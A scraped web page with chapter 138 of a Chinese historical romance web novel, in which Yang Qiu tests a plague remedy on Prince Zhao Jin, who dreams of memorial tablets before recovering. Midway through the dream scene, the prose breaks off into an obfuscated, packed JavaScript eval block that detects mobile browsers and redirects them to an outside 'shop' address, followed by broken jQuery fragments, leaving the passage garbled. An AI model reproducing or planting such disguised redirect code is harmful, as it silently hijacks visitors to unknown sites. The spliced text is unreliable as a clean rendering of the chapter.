默认冷灰
24号文字
方正启体

138. 第 138 章

作者:钮祜禄宁萌本书字数:K更新时间:
    “三小姐,三小姐?您歇歇,让奴婢来守就好了。”


    荣姑姑轻轻推了推杨湫,杨湫忽然从梦中惊醒,揉了揉眼睛,下意识问道:“什么时辰了?”


    “才刚人定呢,三小姐。这会不忙,您再睡一会吧。”荣姑姑柔声道:“奴婢给您端来安神汤,您喝了好好歇一晚。不然身体要熬坏了。”


    “我没事,多谢姑姑。”杨湫拍拍脸,努力打起精神:“他这里还需要我亲自盯着,也能第一时间记录下来。”


    “奴婢知道您担心淮安瘟疫,可您倒下了怎么办?”荣姑姑知道自己拗不过,仍是尽力劝说:“三小姐,您要保重自己,才能治好殿下不是?”


    杨湫淡淡地一笑,对着荣姑姑道:“无妨,只要守过这一夜就好了。”


    荣姑姑满目担忧,也只能无奈地应下,杨湫拉过她的手,示意她坐下陪自己。


    “奴婢就不坐了,还要去驿馆其他地方检查呢。”荣姑姑拿起桌上的灯笼,转身欲走:“一会奴婢巡完夜,就来陪三小姐。”


    杨湫略微颔首,荣姑姑执起灯笼,慢慢走远,杨湫目送她离开,轻轻掩上门,又叹了口气。


    赵瑾主动提出让杨湫试药,验证他们几名医者一同研制出来的新药方,只是效用如何,无人可知。


    况且药方里面所用的药材多为清热凉血,药性猛烈,对于这些久病之人是否对症也未可知。


    赵瑾信任自己的医术,倒真是让自己一时间有种如释重负的感觉,杨湫心想。


    她慢慢踱步只榻前,赵瑾好似刚刚从梦境里这挣扎出来,眼前还有未散去的迷惘。


    “醒来了?”杨湫习以为常,走上前替他把脉:“寒气有所遏制,热气又反上来了?”


    赵瑾‘嗯’了一声,半晌从喉咙里挤出一个字:“热。”


    她早有预料,将预备好的白水端过来,喂他饮了几口,忍不住埋怨道:“你真是胆大包天,明知自己落水受寒,才好了没几日,就敢替我试药。”


    “这不是实在没什么帮得上的,只剩这点作用了,司药大人还嫌弃我。”赵瑾说话的声音仍然沙哑,全身都是一片滚烫,却意外地精神头不错:“我若是也像你一样精通医术就好了。”


    “别贫了,我什么时候嫌弃过你?”杨湫啼笑皆非,忍不住骂了他一句:“好了,讲正事。至少从你身上试出来,新的药方有一定的遏制之效。”


    “是么?这也算好事,总算你的辛苦没白费。”赵瑾道。


    杨湫轻轻应了一声,垂下眼睫,在烛光下落下一个温柔的侧影。


    “《大藏经》所载,诸天飞天顶髻严,度诸苦厄之度母。”赵瑾仿佛是在喃喃自语,也不知道是在说给谁听:“绿度母发愿,众生虽无量,誓愿亦无量。”


    “绿度母?”杨湫怔了一瞬,缓缓道:“绿度母救度八难,可见众生苦厄。”


    她顿了顿,有些不解地问道:“怎么说起这个来了?”


    “绿度母是医者救苦的化身,有感而发,没什么。”赵瑾道。


    杨湫莞尔一笑,说道:“你这有感而发的未免太牵强,什么让你想到的?”


    “你。”赵瑾应道。


    杨湫欲言又止,多少有些不好意思,急匆匆打断了赵瑾还没说完的话:“少胡说,你见菩萨也敢这么说?”


    “若是真的有绿度母化身,我想也与你一般无二,静梧。”赵瑾的思绪虽然有些飘忽,但仍然一字一字将自己想说的话说了出来:“你为了这些百姓,我们都知道。”


    “好了,你别说了。”杨湫止住了话头,不准备继续跟赵瑾讨论下去。


    她清了清嗓子,颇有几分欲盖弥彰的意味:“正好将药吃了,你若是还不困,我再陪你说会话吧。”


    “天色已晚,你还打算守多久?”赵瑾自己撑着床榻起身,面色潮红,发间仍有汗湿痕迹,杨湫垂眸,不轻不重叹了一声。


    “等你服了药,我继续观察者,有什么异状也能及时应对。”杨湫道。


    赵瑾不疑有他,服下汤药后,又跟杨湫闲扯了几句,一股困意涌上心头,眼皮逐渐合拢。


    杨湫见他忽然没了声息,便知赵瑾已然睡下,起身拉过屏风,自己将烛火挑亮些许,继续研究医典。


    淮安城内的几位医者都有家学传承,不乏一些祖宗留下来的经典论著,杨湫一时好奇,便找他们借了过来,闲暇时便研习一番。


    杨湫看得正入神,烛火在屏风上明明灭灭,秋日的寒气透过窗棂,悄无声息地吹进了梦里。


    梦中万事顺遂,没有瘟疫,没有叛乱,也没有灾情。


    他一晃眼就成了即将加冠的成人,


    赵瑾恍然间见到谢芷君冲着自己招手,兴致勃勃地展示自己给他设计的园子;皇帝对着自己关爱有加,言辞间似乎从来没有过去的阴霾。


    他的同胞兄长,没有夭折,只是在父皇模糊的话语里,他似乎并不在京城,却仍然让送来了自己的礼物。


    “阿瑾,你现在及冠了,就是大人了。”谢芷君的面容永远那样温柔,声音雀跃:“昨儿个你大姨母进宫,母后跟她说过了,为你和湫儿做媒。”


    赵瑾一时间没反应过来,不解地道:“跟谁?”


    “跟湫儿呀,你们不是青梅竹马,一起长大的吗?”谢芷君似有些讶异,却又遮掩不住自己的惊喜,向着他身后招手:“湫儿,快来!”


    赵瑾下意识地回头,只见杨湫迈步向他走来,还是那副清雅脱俗的容颜。


    她停驻在自己身前嫣然一笑,赵瑾不由得睁大了眼睛,伸手欲触碰杨湫:“静梧!”


    他的手一时落空,杨湫含着笑的面容逐渐淡去,整座长宁宫风化褪色,逐渐化为尘埃。


    “母后!”赵瑾惶急地喊道,想要伸手抓住近在咫尺的谢芷君。


    谢芷君仿佛已经凝固成了一尊塑像,他伸出手,什么都没抓住,反倒置身于空空荡荡的庙宇。


    佛前长明灯忽明忽灭,眼前的供台之上,摆满了密密麻麻的灵位:有谢芷君的,有赵琮的,有皇帝的,还有一座不知名的无字灵牌。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524918|203441||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    这是什么情况,赵瑾顿时浑身发冷,难以置信的看着眼前的一切。


    为什么这些还活在他身边的人,都变成了佛堂里的灵牌,只有一缕青烟为伴?


    他倏然睁开眼,对上了杨湫一如既往镇定的面容。


    “唔,寒热交替,病情还在反复。你现在冷得厉害?”杨湫问道。


    赵瑾如梦初醒,还有些惊魂未定,只是讷讷点头,不声不响坐在原地。


    “我方才听见你在梦中挣扎,是不是做噩梦了?”杨湫看了一眼屋中更漏,柔声道:“已经快鸡鸣了。”


    “做了个怪梦。”赵瑾终于定下了心神,后知后觉地发现,自己手脚冰凉,整个人都在打着的寒战。


    杨湫走上前,替他掖了掖被角,用钳子拨弄着炭火:“我想你晚上会冷,让荣姑姑弄了炭盆来,虽不能缓解你体内寒气,倒也不至于让你太难受。”


    “让她费心了。”赵瑾呼出一口气,确认方才不过是梦中虚惊一场:“刚刚吓我一跳。”


    “你一会喊我,一会喊姨母,是梦见什么了?”杨湫眼中带着探寻之意,好奇地盯着他看。


    “呃,也没什么,就是一些琐事。”赵瑾心虚的别开视线,不知为何,并不想跟杨湫提起此事:“梦到我及冠,母后在跟我说开牙建府的事情。”


    “原来如此。”杨湫见他一副不愿多言的模样,识趣地没有追问:“常言道日有所思夜有所梦,大概是你想姨母了。”


    “兴许就是病着,恍惚间就想起母后来了。”赵瑾轻轻笑了笑,随后又收敛起笑意:“还是别让她知道了,一准又要担心。”


    “那也是姨母人之常情,咱俩这么瞒着她,她生气也是情理之中。”杨湫道。


    “若是母后怪罪下来,我自然是同你一起担着。试药是我主动提的。”赵瑾伸手裹紧了身上的锦被,仍然阻挡不了体内翻涌的寒意。


    “净胡说。”杨湫轻轻斥道:“头疼吗?”


    赵瑾老老实实回答道:“没有,只是身上冷,并没有头痛。”


    杨湫微微颔首,旋即记下了症状:“我明白了。”她伸出手,再度为赵瑾诊脉:“气息归于平和,是有好转的迹象了。”


    “看来司药大人庇佑,让我躲过这一劫了?”赵瑾故意打趣道。


    杨湫笑着嗔他,道:“下次再胡说,我就先给你扎两针,让你老老实实的,不许说胡话。”


    “我前面还说你是救苦救难绿度母,你这一会就要扎我。”赵瑾故作委屈,眸中泪光一闪而过:“静梧,你怎么忍心这样对我。”


    杨湫面颊微微发烫,情不自禁道:“谁,谁又把你怎么样了!”


    数日后,淮安府衙。


    “康王殿下已然痊愈,这药方的确是可行的。”杨湫拿出这几日经过自己反复修改调整的药方:“淮安的瘟疫,或许真的有救了。”


    众人无不欢欣鼓舞,立刻安排去诊治施药,数日过去,又有不少症状较轻的病人痊愈。


    “太好了,太好了!淮安有救了!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)